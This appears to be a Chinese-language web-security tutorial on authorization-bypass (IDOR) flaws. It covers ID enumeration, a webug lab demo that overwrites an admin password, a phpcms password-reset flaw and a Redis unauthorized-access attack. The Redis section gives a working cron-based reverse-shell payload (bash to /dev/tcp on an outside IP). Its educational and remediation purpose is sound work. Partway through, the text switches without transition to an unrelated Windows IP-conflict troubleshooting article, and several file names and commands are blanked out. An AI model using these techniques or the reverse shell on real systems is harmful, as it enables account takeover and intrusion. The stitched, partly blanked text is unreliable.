2.2 基于用户ID的越权
举个例子:
https://www.xxx.com/user1/userinfo.php?user_id=user1
https://www.xxx.com/user1/userinfo.php?user_id=10001
我们登陆某个系统后,看到某些功能上获取信息的方式类似于上链接时,可以初步判断获取信息的方式为根据user_id来获对应的用户信息,如果参数为用户名,我们可以收集用户名字典来枚举信息,根据返回值判断是否存在问题。当然如果枚举较大,系统用户数量又不是很多的情况下,可以尝试注册新用户,利用新用户的用户名来测试是否可以获取到用户信息。
如果参数为一个固定的数字串时,遍历数字串即可,这种情况下是系统对每个注册用户进行了一个用户id的排序,在众多的开源CMS上都有使用,当然这个字符串也有可能是随机,如果是随机的,量不大的情况下可以采用遍历的形式获取,量较大可以利用burp的随机数爆破,或者同样自己注册账户来测试。
2.3基于功能对象ID的越权
举个例子:
https://www.xxx.com/user1/userticket.php?user_order=100001
https://www.xxx.com/user1/userticket.php?user_order=49ba59ab
此问题大量存在于用户订单、购买、查询等功能的商家CMS上,例如以上地址,如果是订单编号,那么我们可以尝试遍历订单地址来查询是否存在越权。如果编号并不是单纯的订单数字串,而是类似如上的编码字符串,相信自己的运气的话可以尝试某些编码的情况,例如BASE64、MD5。猜测不到,或者不能明显的看出来是如何做的处理,注册新账号重新下单,会是简单方便的选择。
2.4基于上传文件对象ID的越权
举个例子:
https://www.xxx.com/user1/userfile.php?fileid=10001
https://www.ccc.com/user1/userfile.php?fileid=user1_name.jpg
这种上传文件后,可以越权查看其他用户的上传文件也是经常发现类似的问题。假设,系统要求我们上传个人的身份证,实名认证信息、购买的发票订单等。如果上传后看到类似如上地址,可以猜测此上传文件可以遍历获取,通过查询fileid来查看其他用户的上传信息。如果上传后文件名如第二种,可能此文件是系统经过重命名的,重命名的方式一般采用当前上传的时间戳或者当前上传的日期加随机字段,这种情况下枚举较为困难,但仍然可以采用注册新用户的方式来查看是否存在越权。顺便一问,如果是获取信息的方式,还可能会有什么问题呢?
2.5基于未授权访问的越权
举个例子:
https://www.xxx.com/user1/user.php?user=user1@user.com
在一些系统上登陆用户后,可以看到类似如上的地址链接,可能你会觉得这个跟问题1类似,但是也有可能多一张问题情况,在非登陆的情况下仍然可以访问到详细信息。如果可以,则证明后端对身份的效验只是基于参数user,并没有效验用户的session是否已登陆。此问题曾发现于一个系统后端支付订单复核的功能中,问题可想而知。
2.6基于功能地址的越权
举个例子:
https://www.xxx.com/user/getuserinfo.php
如上地址,正常情况下,只访问此后台地址时,一般会跳转到登陆地址,或者登陆后用来查看某个具体的功能,获取数据的情况根据访问的链接地址来,理论上此功能并不存在越权可能,因为没有我们可以修改的参数。但是对权限及功能的限制可能只局限于用户菜单的限制,根据常用链接,可以猜测是否存在以下地址:
/.php
/adduser.php
/deluser.php
/.php
/.php
/.php
......
因为在绝大部分系统中,开发为了方便区别功能和页面,通常会利用对应的英文来命名文件,但这些文件并不是任意用户都可以访问到的,所以可以猜测访问地址是否英文的拼接来猜测路径。对于此问题的快捷测试是获取一个高权限账号,当然对于未授权测试来说,很难实现。
2.7基于接口身份的越权
举个例子:
https://www.xxx.com/user/userinfo.php
post: {'userid':'10001','username':'name','userage':'18','usermobile':'18080808888'}
例如如上接口,修改用户信息,当我们点击某个系统的修改自身资料时,会发送一个类似的json数据包,其中userid对应我们自己的用户id,修改后,可以修改对应id的用户资料。修改方式类似问题1。区别在于一个页面可见,一个页面不直观可见,一个查询,一个修改。需要配合其他越权查询漏洞,或者账号来识别是否修改成功。
3. 漏洞靶场测试
漏洞环境:,webug4.0
靶场介绍:国产靶场,漏洞齐全,演示也相当完善。其中还分为初,中,高。虽然高好像没东西,但仍然是一个不错的靶场环境。
漏洞演示:演示为靶场的22号漏洞,越权修改密码
靶场安装:,本来也给了一个vm的安装环境,但是那个百度云打不开了。就直接用文件自己安装,也没找到安装教程,就摸索着如下安装了。
把sql目录中的文件安装到数据库,新建三个按照文件名的数据库,导入数据文件,修改data目录下的和dbconn文件,修改为自己的数据库账号密码和数据库名。修改完成后建议把网站目录修改为webug的目录下。直接访问本地地址即可。
另外需要修改/control//.php文件下的一段代码,不然跳转到错误路径:
header("Location:/pt_env/control/auth_cross/cross_auth_passwd2.php?id={$id}")
修改为:
header("Location:/control/auth_cross/cross_auth_passwd2.php?id={$id}")
点击第一个越权修改密码后进入如下页面:
此处我打开了数据库来对应查看修改密码的情况,打开webug数据库下的表,可以看到其中有两个用户如下:
此处利用aaaaa用户修改admin用户密码,利用aaaaa账户登陆后,看到如下界面
此处,我们可以先正常走一遍逻辑来查看其中的数据包情况,把aaaaa的密码修改为aaaaa,弹窗OK。然后查看抓取到的数据包。
其中有旧密码和新密码两个参数,理论上如果效验了旧密码和账号的一致性,就算链接中的id可以修改越权也无法修改密码,会提示旧密码不正确,但此处并没有效验旧密码和账号的一致性,导致修改链接中的2为1,post参数不变,或者任意旧密码值,便可以修改admin的密码。
查看数据库修改是否成功:
此处的问题存在两点,一是修改的用户身份由链接中的ID来决定,二是没有对旧密码和账户进行身份验证。
4. 工具测试
对于越权类的安全问题,并没有自动化测试工具来发现和识别,至少现在没有发现哪里有完善的越权检测工具和扫描器。
此处介绍一款burp的越权插件,辅助检测越权漏洞,但是只能检测基于功能的越权,并不能自动的检测需要修改参数来判断越权形式的漏洞。
在burp的选项中选择BApp Store选项卡,找到Authz插件,点击install。安装完成后选项卡中会出现一个Authz的新选项卡,界面如下:
此处需要两个用户身份,假设为A用户和B用户,登陆A用户的账号,获取Cookie到new header中,使用B账号抓包获取信息。到proxy中选择需要测试的功能地址,右键到Send to Authz。
获取够需要测试的功能后,到Authz界面点击run即可运行,此处没有设置cookie,那么将按照未授权访问来测试。
其中,会在请求中替换我们输入的cookie值,如图显示,源请求的字节长度,请求的字节长度,源请求的响应码,请求的响应码,通过对响应的差别来查看是否存在越权漏洞。
能达到此检测目的的还有一款插件,也同样可以检测越权,功能强劲,使用较Authz复杂,对于高要求,多用户,需要对请求中的token等进行选择替换的,可以使用此插件。
介绍地址:
5. CMS演示5.1前台任意修改其他用户信息
漏洞环境:,phpcms9.5.9
漏洞介绍:phpcms设计缺陷导致前台用户可以任意修改其他用户密码
漏洞下载:
解压安装到,访问后需要安装,按照安装要求,填入账号密码。等待安装完成,将自动跳转到后台管理页面。登陆后台需要先添加邮箱认证,如下添加的腾讯邮箱。具体腾讯授权码获取方式可以查看:
在用户模块中添加如下信息,新增两个测试用户,类似如下,需要其中一个可以接收邮件。
在站点首页点击登陆处,如果跳转到404安装页面,可能是你没有删除install安装目录,删除访问index.php即可。选择忘记密码->用户名找回密码
点击获取邮箱校验码
返回上一步输入想修改的用户,如下test2
输入之前的邮箱验证码提交
点击后显示密码修改成功为以下:
尝试使用新密码登陆成功:
漏洞修复:此问题出现原因在于验证码没有跟账号做绑定,验证时只做了验证码是否有效的判断。对于此类问题,频繁出现在手机号验证码,邮箱验证码处,在最后执行修改时需要一同验证,验证码和手机或者邮箱的对应关系。
5.2redis未授权访问
漏洞环境:Ubuntu,reids 3.2.0
漏洞介绍:Redis因配置不当可以未授权访问。攻击者无需认证访问到内部数据,可导致敏感信息泄露,也可以写入文件来反弹shell
安装如下:
wget
tar xzf redis-3.2.0.tar.gz
cd redis-3.2.0
make
修改配置文件
vi redis.conf
bind 127.0.0.1 加上#
protected-mode yes 改为no
在配置文件目录下启动
./src/redis-server redis.conf
启动后显示如下:
通过reids命令可以查看基本信息
尝试反弹shell到指定地址
set x "\n* * * * * bash -i >& /dev/tcp/192.168.30.79/2333 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save
或者采用gopher协议,直接利用curl一条命令执行
6. 漏洞修复
1、验证需要从前端获取的参数,比如用户ID和角色权限名,对于需要根据前台请求来返回数据的参数进行权限效验。
2、对于固定返回信息可以使用特定链接地址返回,同时采用不可预测地址,如:.php
3、对于需要修改、新增等功能进行判断,根据当前seesion判断用户,参数中只传输修改的用户信息。
4、区分用户和管理员时,不采用某些相同的参数来区别。如dede区分管理和用户都是采用ID值,容易产生问题。
5、对于查询类越权需要对每一次请求的参数做当前用户身份校验,避免水平越权。
ip地址与网络上的其他系统有冲突怎么办
ip地址与网络上的其他系统有冲突怎么办
ip地址与网络上的其他系统有冲突解决方法如下:
方法一:IP地址与网络上的其它系统有冲突,设置成为由DHCP自动获取
出现您所描述的错误提示,应该是网卡所设置的IP地址与网络上的另外一台电脑,或者其他网络设备的IP地址发生冲突,所谓冲突也就是使用了相同的地址,错误提示中的00:20:ED:9E:55:B6就是另外那台电脑或者网络设备的MAC地址。
如果您的电脑在一个局域网内,并且网卡IP地址是通过局域网的服务器自动分配的,在Windows 2000等操作系统上,可以单击“开始”按钮,选择“附件”中的“命令提示符”,在命令行状态下输入“ /renew”,让系统释放当前的IP地址,重新获得一个新的地址。在Windows 98中,则可以单击“开始”按钮,选择“运行”,键入“”,并在出现的对话框上选择释放当前IP,然后重新获取一个。若您的IP地址是设置为固定IP地址的,如果是您自己设置的,可以另外设置一个,如果是由管理员分配的,那么您需要联系管理员,报告IP地址冲突的问题,要求更换IP地址或找出产生冲突的电脑进行修正。
如果您在单机情况下使用电脑,那么您需要检查自己所使用的设备中哪一个设备是冲突的原因,例如ADSL调制解调器的IP地址是否与您的网卡IP地址相同等。
IP地址在每个网络中只能是唯一的,如果重复了则发生IP冲突,就无法正常连入网络了。你可以手动进行修改,步骤如下:
在或中:
单击开始--设置--网络和拨号连接,在出现的网络和拨号连接窗口中右键单击“本地连接”,在出现的快捷菜单里选择“属性”命令,出现“本地连接”属性对话框,在“常规”选项卡中,中间的“此连接使且下列组件”列表框,选中“协议(TCP/IP)”单击“属性”按钮,在出现的“协议(TCP/IP)属性”对话框中选择“常规”选项卡中的“使用下列IP地址”单选按钮,然后就可以在下面的文本框中填写需要的IP地址,子网埯码及默认网关了。
这时,如果本来你用的就是手动设置IP地址的话,你就会看到这几项中已经填入了数据,那么你就不用改那么多了,只要修改IP地址框中,最后一个点后面的数字就可以。但是,如果你以前用的是自动获得IP地址的话,那么就需要向网络管理员咨询了,咨询的内容包括,IP地址的范围,子网掩码、默认网关,DNS服务器的IP地址。
方法二:查看网络连接-属性
查看网络连接-属性-TCP/IP属性-使用固定IP上网,IP最好填你原来自动分配的IP地址,这样不至于造成与别人的冲突。
方法三:从运行中设置
步骤1 如果您使用的计算机的操作系统是:windows 98
点击左下角“开始”→“运行”,键入:,点击“确定”,在弹出的窗口中,点击“全部释放”,然后点击“全部更新”,即可解决问题。
如果系统提示无法更新,则需要重新启动计算机。
步骤2 如果您使用的计算机的操作系统是:windows 2000 或windows XP
步骤3 点击左下角“开始”→“运行”,键入: /release,点击“确定”,在此点击“开始”→“运行”,键入: /renew,点击“确定”,即可解决问题。
方法四:这是ARP病毒的迹象。
ip地址与网络上的其他系统有冲突怎么办?ARP病毒病毒发作时候的特征为,中毒的机器会伪造某台电脑的MAC地址,如该伪造地址为网关服务器的地址,那么对整个网络均会造成影响,用户表现为上网经常瞬断。
注意:如果遇到“本地连接受限制或无连接”导致无法上网小编已为大家提供了解决办法
*请认真填写需求信息,我们会在24小时内与您取得联系。